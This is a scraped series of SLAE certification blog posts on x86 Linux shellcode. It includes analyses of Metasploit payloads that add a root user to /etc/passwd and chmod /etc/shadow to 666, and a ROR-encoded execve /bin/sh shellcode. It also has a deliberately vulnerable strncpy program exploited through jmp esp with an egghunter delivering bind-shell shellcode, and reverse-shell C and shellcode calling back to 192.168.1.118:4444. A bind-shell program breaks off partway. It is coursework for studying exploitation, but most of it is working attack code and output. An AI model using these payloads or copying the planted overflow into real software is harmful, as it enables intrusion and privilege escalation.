 Also, I shaved two bytes off the shellcode - I'll earn the bonus points for that :-)  
   
   



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

Thursday 16 June 2016

x86 metasploit shellcode analysis

Part five of seven of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments requires me to take three shellcodes from metasploit for linux/x86 and analyse them using gdb/ndisasm.

I have done the three analysis' and they can be found below;

https://github.com/pabb85/SLAE/blob/master/linux-x86-adduser_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/adduser -o linux-x86-adduser.bin -f raw  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 97 bytes  
 Saved as: linux-x86-adduser.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-adduser.bin   
   
   
 00000000 31C9       xor cx,cx          <-- clear cx  
 00000002 89CB       mov bx,cx          <-- clear bx  
 00000004 6A46       push byte +0x46     <-- push 0x46 (decimal 70) onto the stack  
 00000006 58        pop ax          <-- pop the 70 into ax  
 00000007 CD80       int 0x80          <-- invoke system call 70, setreuid(0, 0)  
   
   
 00000009 6A05       push byte +0x5     <-- push 5 onto the stack       
 0000000B 58        pop ax          <-- pop the 5 into ax  
 0000000C 31C9       xor cx,cx          <-- unnecessarily clear cx...  
 0000000E 51        push cx          <-- push null onto the stack  
 0000000F 687373      push word 0x7373     <-- push sswd  
 00000012 7764       ja 0x78          <-- ndisasm gets it wrong here, the 0x68 opcode is used for either push word or dword  
 00000014 682F2F      push word 0x2f2f     <-- push //pa  
 00000017 7061       jo 0x7a          <-- another opcode 0x68 misinterpretation  
 00000019 682F65      push word 0x652f     <-- push /etc  
 0000001C 7463       jz 0x81          <-- another opcode 0x68 misinterpretation  
 0000001E 89E3       mov bx,sp          <-- point bx to the top of the stack, to the string /etc//passwd  
 00000020 41        inc cx          <-- increment cx to 1  
 00000021 B504       mov ch,0x4          <-- move 4 into ch, making cx 0x41, equivalent to O_WRONLY|O_APPEND flag to open()  
 00000023 CD80       int 0x80          <-- invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND)   
   
   
 00000025 93        xchg ax,bx          <-- switch ax and bx, so ax=pointer to '/etc//passwd', bx=the fd for the open file  
                ;inserted \xcc\xcc here to allow inspection with gdb during analysis...  
 00000026 E82800      call word 0x51     <-- call 0x51, jumps to 0x53 according to gdb   
   
   
   
 The folowing looks like an ASCII data section, a string of '\0\0metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh'  
   
 00000029 0000       add [bx+si],al     <-- null padding  
 0000002B 6D        insw          <-------------- String between 0x2d and 0x52   
 0000002C 657461      gs jz 0x90  
 0000002F 7370       jnc 0xa1  
 00000031 6C        insb  
 00000032 6F        outsw  
 00000033 69743A417A    imul si,[si+0x3a],word 0x7a41  
 00000038 2F        das  
 00000039 6449       fs dec cx  
 0000003B 736A       jnc 0xa7  
 0000003D 3470       xor al,0x70  
 0000003F 3449       xor al,0x49  
 00000041 52        push dx  
 00000042 633A       arpl [bp+si],di  
 00000044 303A       xor [bp+si],bh  
 00000046 303A       xor [bp+si],bh  
 00000048 3A2F       cmp ch,[bx]  
 0000004A 3A2F       cmp ch,[bx]  
 0000004C 62696E      bound bp,[bx+di+0x6e]  
 0000004F 2F        das  
 00000050 7368       jnc 0xba  
 00000052 0A                         <-------------- String between 0x2d and 0x52   
   
 ...At this point, as I've cut into what ndisasm thought was an instruction, I'll restart the disassembly to make the output cleaner and avoid having to try and re assemble the opcodes...  
   
 paul@SLAE001:~$ ndisasm -k 0,83 linux-x86-adduser.bin   
 00000000 skipping 0x53 bytes  
 00000053 59        pop cx          <-- pop return address into cx (points to start of string at 0x2d)  
 00000054 8B51FC      mov dx,[bx+di-0x4] <-- gdb says: edx,DWORD PTR [ecx-0x4], ecx-4 is loc 0x27 which contains 0x28  
 00000057 6A04       push byte +0x4     <-- push 4  
 00000059 58        pop ax          <-- pop 4 into ax  
 0000005A CD80       int 0x80          <-- invoke system call 4, write(fd, string, 0x28) - 0x28 is buffer length  
   
 0000005C 6A01       push byte +0x1     <-- push 1  
 0000005E 58        pop ax          <-- pop 1 into ax  
 0000005F CD80       int 0x80          <-- invoke system call 1, exit()  
   
   
   
 So, in summary;  
   
 invoke system call 70, setreuid(0, 0)     - Get back any dropped privs  
 invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND)      - open /etc/passwd for writing  
 jump over the string to be written  
 invoke system call 4, write(fd, string, 0x28)      - write a new entry for a new user  
 invoke system call 1, exit()     - exit gracefully  
   
 There's certainly some room for size optimisation here, does the graceful exit need to be there, for example?   
 Also, need to consider that most modern systems use /etc/shadow for the password hashes.  
   
   

https://github.com/pabb85/SLAE/blob/master/linux-x86-chmod_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/chmod -o linux-x86-chmod.bin -f raw  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 36 bytes  
 Saved as: linux-x86-chmod.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-chmod.bin  
 00000000 99        cwd               <-- convert word to double, puts the MSB of ax across all bits of dx, maybe assumes a 0  
 00000001 6A0F       push byte +0xf     <-- push 0xf  
 00000003 58        pop ax          <-- pop 0xf into ax, decimal 15  
 00000004 52        push dx          <-- push dx (null if MSB of ax was 0)  
 00000005 E80C00      call word 0x14     <-- save return address, jump to 0x16  
   
 Bet the following is a string... Yup, it's '\0\0/etc/shadow'  
 00000008 0000       add [bx+si],al     <-- null padding  
 0000000A 2F        das               <-------------- String between 0xa and 0x14   
 0000000B 657463      gs jz 0x71  
 0000000E 2F        das  
 0000000F 7368       jnc 0x79  
 00000011 61        popaw  
 00000012 646F       fs outsw  
 00000014 7700       ja 0x16          <-------------- String between 0xa and 0x14   
   
 00000016 5B        pop bx          <-- pop return address into cx (points to start of string at 0xa)  
 00000017 68B601      push word 0x1b6     <-- push 0x000001b6, octal 666  
 0000001A 0000       add [bx+si],al     <-- another opcode 0x68 misinterpretation, ignore this   
 0000001C 59        pop cx          <-- pop octal 666 into cx  
 0000001D CD80       int 0x80          <-- invoke system call 15, chmod('/etc/shadow', 666)  
   
 0000001F 6A01       push byte +0x1     <-- push 1  
 00000021 58        pop ax          <-- pop 1 into ax  
 00000022 CD80       int 0x80          <-- invoke system call 1, exit()  
   
   
 In summary;  
 invoke system call 15, chmod('/etc/shadow', 666)  
 invoke system call 1, exit()  
   
 There are a few things to note about this shellcode - if when it begins the MSB of the ax register isnt 0, chances are it won't work as expected.  
 Also, no setreuid call means that modern kernels which drop privs will likely break this shellcode.  
   
   

https://github.com/pabb85/SLAE/blob/master/linux-x86-exec_analysis ;

 paul@SLAE001:~$ msfvenom -p linux/x86/exec -o linux-x86-exec.bin -f raw CMD=ls  
 No platform was selected, choosing Msf::Module::Platform::Linux from the payload  
 No Arch selected, selecting Arch: x86 from the payload  
 No encoder or badchars specified, outputting raw payload  
 Payload size: 38 bytes  
 Saved as: linux-x86-exec.bin  
 paul@SLAE001:~$ ndisasm -p intel linux-x86-exec.bin  
 00000000 6A0B       push byte +0xb          <-- push b, decimal 11  
 00000002 58        pop ax               <-- pop b into ax  
 00000003 99        cwd                    <-- effectively nulls-out dx  
 00000004 52        push dx               <-- push null  
 00000005 66682D6389E7   push dword 0xe789632d     <-- push two bytes junk then two bytes '-c', not sure why the junk..  
   
 ;the following few instructions get messed up so ill rewrite them  
 0000000B 682F73      push word 0x732f          <-- another opcode 0x68 misinterpretation, ignore this  
 0000000E 680068      push word 0x6800          <-- another opcode 0x68 misinterpretation, ignore this   
 00000011 2F        das  
 ;rewritten looks like this  
 0000000B 68 2F73 6800   push word 0x0068732f     <-- push '/sh\0'  
 00000010 68 2F62 696e   push word 0x696e622f     <-- push '/bin'  
   
 00000015 89E3       mov bx,sp               <-- mov stack pointer into bx  
 00000017 52        push dx               <-- push another null  
 00000018 E80300      call word 0x1e          <-- save return address and jump to 0x20  
   
 ;Bet this is a string... Yup, its '\0\0ls\0'  
 0000001B 0000       add [bx+si],al          <-- null padding  
 0000001D 6C        insb               <-- 'ls\0'  
 0000001E 7300       jnc 0x20  
   
 00000020 57        push di               <-- push di, which points to '-c'  
 00000021 53        push bx               <-- push bx, which points to '/bin/sh'  
 00000022 89E1       mov cx,sp               <-- mov stack pointer to cx  
 00000024 CD80       int 0x80               <-- invoke system call 11, execve('/bin/sh', ['/bin/sh', '-c', 'ls'])  
   
   
 In summary, build up an array of pointers on the stack for the cx argument, so slightly more complicated than just loading up the registers.  
   
 Not sure why they are using the dword with junk instead of just pushing the '-c' on as a word or how edi gets populated but will research this further...  


Awesome, on to the next challenge :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

x86 custom encoder shellcode

As the fourth part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments, the task is to produce a working custom encoder shellcode of my own design.

The task description is to use a basic execve /bin/sh shellcode as the encoded payload but anything could be used as all the encoder will do would be to decode the payload and pass execution to it.  One of the requirements of the resultant shellcode would be that it doesn't contain nulls, so it would make sense to be able to iterate through a range of encoders or keys to ensure that different payloads can be encoded without nulls in the resultant shellcode.

Since we already implemented an XOR encoder during the course, I've decided to use circular shift as the encoding technique because it is lossless & easy to implement at the assembler level.  As a nice side-effect, the only way I could have a null in the encoded shellcode is by passing a null into it.

Using a similar methodology and the templates from the course, I put together a  python script to encode the payload and a nasm file as the encoder stub, which then contains the encoded payload shellcode - this time using ROR by 4 bits.

https://github.com/pabb85/SLAE/blob/master/rot-encoder.py ;

1:  #!/usr/bin/python  
2:    
3:  # Python ROR Encoder   
4:    
5:  ror = lambda val, r_bits, max_bits: \  
6:    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \  
7:    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))  
8:    
9:  #print "%x" % ror(0xff, 4, 8)  
10:  #print "%x" % ror(0x00, 4, 8)  
11:  #print "%x" % ror(0x1, 4, 8)  
12:  #print "%x" % ror(0xf, 4, 8)  
13:    
14:    
15:  shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")  
16:  #shellcode = ("\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08")  
17:    
18:  encoded = ""  
19:  encoded2 = ""  
20:    
21:  print 'Encoded shellcode ...'  
22:    
23:  for x in bytearray(shellcode) :  
24:       # XOR Encoding        
25:       y = ror(x, 4, 8)  
26:       encoded += '\\x'  
27:       encoded += '%02x' % y  
28:    
29:       encoded2 += '0x'  
30:       encoded2 += '%02x,' %y  
31:    
32:    
33:  print encoded  
34:    
35:  print encoded2  
36:    
37:  print 'Len: %d' % len(bytearray(shellcode))  
38:    


https://github.com/pabb85/SLAE/blob/master/ror-decoder.nasm ;

1:  ; Filename: ror-decoder.nasm  
2:  ;  
3:  ; Purpose:   
4:    
5:  global _start                 
6:    
7:  section .text  
8:  _start:  
9:    
10:       jmp short call_decoder  
11:    
12:  decoder:  
13:       pop esi  
14:       xor ecx, ecx  
15:       mov cl, 25  
16:    
17:    
18:  decode:  
19:       ror byte [esi], 4  
20:       inc esi  
21:       loop decode  
22:    
23:       jmp short Shellcode  
24:    
25:    
26:    
27:  call_decoder:  
28:    
29:       call decoder  
30:       Shellcode: db 0x13,0x0c,0x05,0x86,0xf2,0xf2,0x37,0x86,0x86,0xf2,0x26,0x96,0xe6,0x98,0x3e,0x05,0x98,0x2e,0x35,0x98,0x1e,0x0b,0xb0,0xdc,0x08  
31:    
32:    

Then use the objdump one-liner to extract the shellcode - n.b. this strangely misses one byte out (0x37), this caused a bit of frustration for me!!  I will look into why this is the case but for now note that I have added it in below, in bold.

 paul@SLAE001:~$ objdump -d ./ror-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'   
 "\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08"  
   

Finally, compile the shellcode.c with the new encoded shellcode within and test;

 paul@SLAE001:~$ cat shellcode.c   
 #include<stdio.h>  
 #include<string.h>  
   
 unsigned char code[] = \  
 "\xeb\x0d\x5e\x31\xc9\xb1\x19\xc0\x0e\x04\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x13\x0c\x05\x86\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\x05\x98\x2e\x35\x98\x1e\x0b\xb0\xdc\x08";  
   
 main()  
 {  
   
      printf("Shellcode Length: %d\n", strlen(code));  
   
      int (*ret)() = (int(*)())code;  
   
      ret();  
   
 }  
   
        
 paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./shellcode   
 Shellcode Length: 45  
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   


Great...!  This worked in the end.  The 0x37 issue was a bit annoying but I will try and figure out what was going wrong.




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

Wednesday 15 June 2016

x86 egghunter shellcode research & example

For the third part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments, I have to research a topic which was not covered under the course - egghunter shellcode.   I will document my findings here and some example code as a proof of concept.

I took to reading the legendary skape's research paper on egghunters, which can be found here: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf - the idea is a feindishly simple but effective method to use a two-stage shellcode where you only have a small amount of space in predictable memory space and have to use this to find the larger part of shellcode.

In order to do this, the smaller shellcode - the "egghunter" will look for a fixed set of bytes which demarkate the beginning of the larger shellcode section.  Cleverly, the beginning of the larger shellcode begins with this signature not once but twice - in order that the egghunter doesn't detect the signature within its own code.  The egghunter allows for this and ensure that the egg is found repeated twice, while searching over memory in a loop.

While we are limiting the scope of this research to Linux, I will use at one of the three linux egghunter examples provided in the whitepaper;

39 bytes access() system-call
35 bytes access() system-call
30 bytes sigaction() system-call    <----this one :-)

As we can see, these shellcodes as significantly smaller than your average bind or reverse shell.

I put together a quick C program to demonstrate how an egghunter shellcode could work for both heap-based and stack-based second stages as follows;

1:  #include <stdio.h>  
2:  #include <stdlib.h>  
3:  #include <string.h>  
4:    
5:    
6:  int main(int argc, char *argv[])  
7:  {  
8:    char *stuff = (char*)malloc(200 * sizeof(char));  
9:    stuff = argv[1];  
10:    
11:    printf("argv[1] = %s\n", argv[1]);  
12:    printf("&argv[1] = %p\n", &argv[1]);  
13:    
14:    printf("argv[2] = %s\n", argv[2]);  
15:    printf("&argv[2] = %p\n", &argv[2]);  
16:    
17:    printf("stuff = %s\n", stuff);  
18:    printf("&stuff = %p\n", &stuff);  
19:      
20:    
21:    char buf[5];  
22:    strncpy(buf, argv[2], 60);  
23:    printf("buf = %s\n", buf);  
24:    
25:    
26:    
27:    int count;  
28:    
29:  //to crash (within gdb)  
30:  //r 1 `perl -e 'print "A"x21 . "B"x4 . "C"x35;'`  
31:    
32:    return 0;  
33:  }  
34:    

As you can see, the sample vulnerable program accepts two arguments, putting the value of the first (upto 200 bytes) onto space on the heap assigned by malloc and doing a bad strncpy on the second argv into an undersized buffer.  I've done it this way so we can see that you can use either heap or stack for the second stage of the shellcode.

The strncpy allows the buffer overflow and overwrite of EIP (where the B's are within the example GDB crash) but then followed by only 35 bytes for the shellcode (esp points to the beginning of the C's).

The 35 bytes isn't a lot of space for a shellcode so this is where the egghunter is going to come in handy.  Of course, you could try and scavenge the 21 bytes used by the A's with a jmp at the end of the initial shellcode section but this would only give you 56 bytes and anyway this is an egghunter exercise :)

So we can either choose to put our second-stage shellcode onto the heap via the first argument and hunting it using the egghunter, OR, putting the second-stage shellcode onto the lower section of the stack with the rest of the programs environment, in this example I will do the former.

As we can see below, both the stack and heap addresses are randomised, due to ASLR :-)

 paul@SLAE001:~$ gcc egghunter.c -o egghunter -g -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./egghunter 111 222  
 argv[1] = 111  
 &argv[1] = 0xbfa5ea28  
 argv[2] = 222  
 &argv[2] = 0xbfa5ea2c  
 stuff = 111  
 &stuff = 0xbfa5e97c  
 buf = 222  
 Segmentation fault (core dumped)  
 paul@SLAE001:~$ ./egghunter 111 222  
 argv[1] = 111  
 &argv[1] = 0xbfc77868  
 argv[2] = 222  
 &argv[2] = 0xbfc7786c  
 stuff = 111  
 &stuff = 0xbfc777bc  
 buf = 222  
 ...  


With knowledge that the C's line up with esp, our next step is to find a jmp esp, we will do this within GDB by first locating libc and then searching within it for the right opcodes (0xff, 0xe4);

 (gdb) info proc mappings   
 process 4369  
 Mapped address spaces:  
   
      Start Addr  End Addr    Size   Offset objfile  
       0x8048000 0x8060000  0x18000    0x0 /bin/dash  
       0x8060000 0x8061000   0x1000  0x17000 /bin/dash  
       0x8061000 0x8062000   0x1000  0x18000 /bin/dash  
       0x8062000 0x8085000  0x23000    0x0 [heap]  
      0xb7e21000 0xb7e22000   0x1000    0x0   
      0xb7e22000 0xb7fc5000  0x1a3000    0x0 /lib/i386-linux-gnu/libc-2.15.so  
      0xb7fc5000 0xb7fc7000   0x2000  0x1a3000 /lib/i386-linux-gnu/libc-2.15.so  
      0xb7fc7000 0xb7fc8000   0x1000  0x1a5000 /lib/i386-linux-gnu/libc-2.15.so  
      0xb7fc8000 0xb7fcb000   0x3000    0x0   
      0xb7fdb000 0xb7fdd000   0x2000    0x0   
      0xb7fdd000 0xb7fde000   0x1000    0x0 [vdso]  
      0xb7fde000 0xb7ffe000  0x20000    0x0 /lib/i386-linux-gnu/ld-2.15.so  
      0xb7ffe000 0xb7fff000   0x1000  0x1f000 /lib/i386-linux-gnu/ld-2.15.so  
      0xb7fff000 0xb8000000   0x1000  0x20000 /lib/i386-linux-gnu/ld-2.15.so  
      0xbffdf000 0xc0000000  0x21000    0x0 [stack]  
 (gdb) find /b 0xb7e22000, 0xb7fc5000, 0xff, 0xe4  
 0xb7e24a55  
 0xb7f7b00b  
 ...  

Many come back, we will take the first one and replace the B's with this address, testing this by first landing on a soft breakpoint and then a second attempt where we land into the egghunter, after feeding the egg into the heap, followed by another soft breakpoint;

 (gdb) r `perl -e 'print "AAAA";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\xcc\xcc\xcc\xcc" . "C"x31;'`  
 Starting program: /home/paul/egghunter `perl -e 'print "AAAA";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\xcc\xcc\xcc\xcc" . "C"x31;'`  
 argv[1] = AAAA  
 &argv[1] = 0xbffff728  
 argv[2] = AAAAAAAAAAAAAAAAAAAAAUJ������CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC  
 &argv[2] = 0xbffff72c  
 stuff = AAAA  
 &stuff = 0xbffff67c  
 buf = AAAAAAAAAAAAAAAAAAAAAUJ������CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�o��  
   
 Program received signal SIGTRAP, Trace/breakpoint trap.  
 0xbffff691 in ?? ()  
 (gdb) r `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\xcc\xcc\xcc\xcc";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 The program being debugged has been started already.  
 Start it from the beginning? (y or n) y  
   
 Starting program: /home/paul/egghunter `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\xcc\xcc\xcc\xcc";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 argv[1] = �P�P�P�P����  
 &argv[1] = 0xbffff718  
 argv[2] = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCCC  
 &argv[2] = 0xbffff71c  
 stuff = �P�P�P�P����  
 &stuff = 0xbffff66c  
 buf = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCC�o��  
   ...couple of seconds delay here while memory is searched...
 Program received signal SIGTRAP, Trace/breakpoint trap.  
 0xbffff869 in ?? ()  
 (gdb)   
   

Okay, this worked nicely :-)  For the final step we are going to put onto the heap the egg followed by a bind shellcode and test this;

 (gdb) r `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 The program being debugged has been started already.  
 Start it from the beginning? (y or n) y  
   
 Starting program: /home/paul/egghunter `perl -e 'print "\x90\x50\x90\x50\x90\x50\x90\x50" . "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";'` `perl -e 'print "A"x21 . "\x55\x4a\xe2\xb7" . "\x66\x81\xC9\xFF\x0F\x41\x6A\x43\x58\xCD\x80\x3C\xF2\x74\xF1\xB8\x90\x50\x90\x50\x89\xCF\xAF\x75\xEC\xAF\x75\xE9\xFF\xE7" . "C"x5;'`  
 argv[1] = �P�P�P�P1�1�1�� Vj j ���f̀�³ Vfh \fj ��j QP���f̀� VR���f̀�VVR���f̀��1É°?̀A�� u��  
                                           Vh//shh/bin��1�1�̀  
 &argv[1] = 0xbffff6b8  
 argv[2] = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCCC  
 &argv[2] = 0xbffff6bc  
 stuff = �P�P�P�P1�1�1�� Vj j ���f̀�³ Vfh \fj ��j QP���f̀� VR���f̀�VVR���f̀��1É°?̀A�� u��  
                                          Vh//shh/bin��1�1�̀  
 &stuff = 0xbffff60c  
 buf = AAAAAAAAAAAAAAAAAAAAAUJ��f���AjCX̀<�t���P�P�ϯu��u���CCCC�o��  
 process 4399 is executing new program: /bin/dash  
   
   


Awesome!  This worked!  The C file used for this research post can be found here: https://github.com/pabb85/SLAE/blob/master/egghunter.c


Connecting to my egghunter-found bind shell :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

Wednesday 1 June 2016

x86 reverse shell from scratch

Hello again, this is part two of seven for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments which I'll be posting on here.

The first assignment task was to create a shell bind TCP shellcode, where the port number is easily configurable, this second one follows on from that and the task is to create a reverse-connect shellcode where the port and ip of host to connect back to are also easily configurable.

We will begin like last time, with a C program to mimic the desired functionality and use strace to identify the required syscalls;

 paul@SLAE001:~$ cat reverse.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <sys/socket.h>  
 #include <arpa/inet.h>  
 void main(void)  
 {  
   int sockfd;  
   struct sockaddr_in addr;  
   addr.sin_family = AF_INET;  
   addr.sin_addr.s_addr = 0x7601a8c0;     // 192.168.1.118 
   addr.sin_port = 0x5c11;           // 4444  
   sockfd = socket(AF_INET, SOCK_STREAM, 0);  
   connect(sockfd, &addr, sizeof(addr));  
   // dup2 stdin, stdout and stderr to sockfd  
   dup2(sockfd, 2);  
   dup2(sockfd, 1);  
   dup2(sockfd, 0);  
   execve("/bin/sh", 0, 0);  
 }  
 paul@SLAE001:~$ gcc reverse.c -o reverse  
 ...  
 paul@SLAE001:~$ strace ./reverse   
 ...  
 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
 connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.1.118")}, 16) = 0  
 dup2(3, 2)               = 2  
 dup2(3, 1)               = 1  
 dup2(3, 0)               = 0  
 execve("/bin/sh", [0], [/* 0 vars */]) = 0  
 ...
 paul@SLAE001:~$ strace -e raw=all ./reverse   
 ...  
 socket(0x2, 0x1, 0)           = 0x3  
 connect(0x3, 0xbf98243c, 0x10)     = -1 (errno 111)  
 dup2(0x3, 0x2)             = 0x2  
 dup2(0x3, 0x1)             = 0x1  
 dup2(0x3, 0)              = 0  
 execve(0x8048670, 0, 0)         = 0  
 ...    

Magic - this should be easier than the bind shellcode - less syscalls to make :-)  I'll use the bind.asm as a template and change where required.

It can be found here: https://github.com/pabb85/SLAE/blob/master/reverse.asm

This worked nicely - I altered the bind call into a connect and updated the parameters, got rid of listen and accept calls and it built nicely into an 80 byte shellcode, no nulls.  The IP and port can be easily configured by altering lines 27 and 28, bearing in mind the reverse byte order and also restriction on nulls - 192.168.0.1 wouldn't work for example as the third octet is a null and would be 0x0100a8c0.  This could be worked around by using a simple crypter which is to follow in a later exercise.


 paul@SLAE001:~$ nasm -f elf32 reverse.asm -o reverse.o  
 paul@SLAE001:~$ ld reverse.o -o reverse  
 paul@SLAE001:~$ objdump -d ./reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x03\x68\xc0\xa8\x01\x76\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x03\x68\xc0\xa8\x01\x76\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";' | wc -c  
 80  


Reverse-shell shellcode working :-)



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

Tuesday 31 May 2016

x86 bind shell from scratch

Okay...!  Here we go, part one of seven posts for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments which I'll be posting on here.

The first assignment task is to create a shell bind TCP shellcode, where the port number is easily configurable, should be fairly straighforward.


Firstly, I create a quick C program


1:  #include <stdio.h>  
2:  #include <stdlib.h>  
3:  #include <sys/socket.h>  
4:  #include <arpa/inet.h>  
5:  void main(void)  
6:  {  
7:    int socket_handle;  
8:    struct sockaddr_in addr;  
9:    addr.sin_family = AF_INET;  
10:    addr.sin_addr.s_addr = INADDR_ANY;       
11:    addr.sin_port = 0x5c11;       // 4444  
12:    socket_handle = socket(AF_INET, SOCK_STREAM, 0);  
13:    bind(socket_handle, &addr, sizeof(addr));  
14:    listen(socket_handle, 0);  
15:    int connection = accept(socket_handle, 0, 0);  
16:    dup2(connection, 2);  
17:    dup2(connection, 1);  
18:    dup2(connection, 0);  
